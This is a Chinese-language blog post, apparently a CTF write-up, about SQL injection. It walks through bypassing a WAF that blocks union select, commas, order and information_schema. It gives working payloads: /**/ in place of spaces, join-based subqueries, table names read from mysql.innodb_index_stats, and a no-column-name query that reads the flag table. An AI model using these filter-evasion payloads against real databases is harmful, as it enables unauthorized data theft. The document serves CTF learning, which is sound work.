c1ay's blog

ctf记录-记一次有趣的注入

字数统计: 707阅读时长: 3 min
2019/11/03 Share

ctf记录-记一次有趣的注入绕过

正常页面:
xxx/article.php?id=2

id=2'时返回404(页面不正常),但是没有sql报错信息
mark
id=2"时返回正常页面
mark
所以有可能是单引号包裹的字符型无报错回显注入

id=2'--时– 被过滤,id=2'%23页面正常显示,基本确定了存在注入
mark
mark

该注入存在过滤,通过简单测试,发现大致过滤了order、information_schema、and、or、逗号等字符,并且对union select进行了过滤,但是union和select单独出现并没有过滤

另外该注入无sql报错回显,只能使用union联合查询和盲注,由于前者在页面有回显,所以这里优先选择前者

选择union注入的话,总结出需要突破的几个点:

1、需要突破对union select的过滤,另外order被过滤,所以不能通过order by判断列数
2、注入不能使用逗号
3、不能使用information_schema

接下来,对这些限制进行突破,总之,过滤了什么,绕什么就行了~

突破1:

mysql当中/**/可以代替空格,可以使用union/**/select绕过对union select的过滤

order被过滤,不能使用order by判断列数,使用以下方式判断列数

id=2' union/**/select 1
id=2' union/**/select 1,2
...    

但是这里使用了逗号,被拦截
mark
mark

突破2:

不能使用逗号,可以使用子查询绕过

id=112' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23

mark
回显位在2和4,尝试检查查询一些信息,查询成功

id=112' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select user())d%23

mark

id=112' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select version())d%23

mark

id=112' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select database())d%23

mark
但是在通过information_schema获取表名和列名时,被拦截

突破3:

关于注入不能使用information_schema,记得之前s1ye师傅有提到过绕过的方法,那时没有怎么研究,又去请教了一番s1ye师傅,得到解答~

当不能使用information_schema时,可以使用select group_concat(distinct table_name)from mysql.innodb_index_stats获取到表名,很强(看来有必要仔细阅读一下mysql的官方手册了)

获取表名:
id=112' union/**/select * from (select 1)a join (select 2)b join (select 3)c join (select group_concat(distinct table_name)from mysql.innodb_index_stats)d%23
mark

接下来就是关于无列名注入的问题了,继续使用子查询就可以解决,获取flag~

id=112' union/**/select * from ((select 1)a join (select 2)b join (select 3)c join (select group_concat(`3`) from (select * from ((select 1)a join (select 2)b join (select 3)c) union/**/select * from fl111aa44a99g)x)d)%23

mark

拖延症真的很可怕

CATALOG
  1. 1. ctf记录-记一次有趣的注入绕过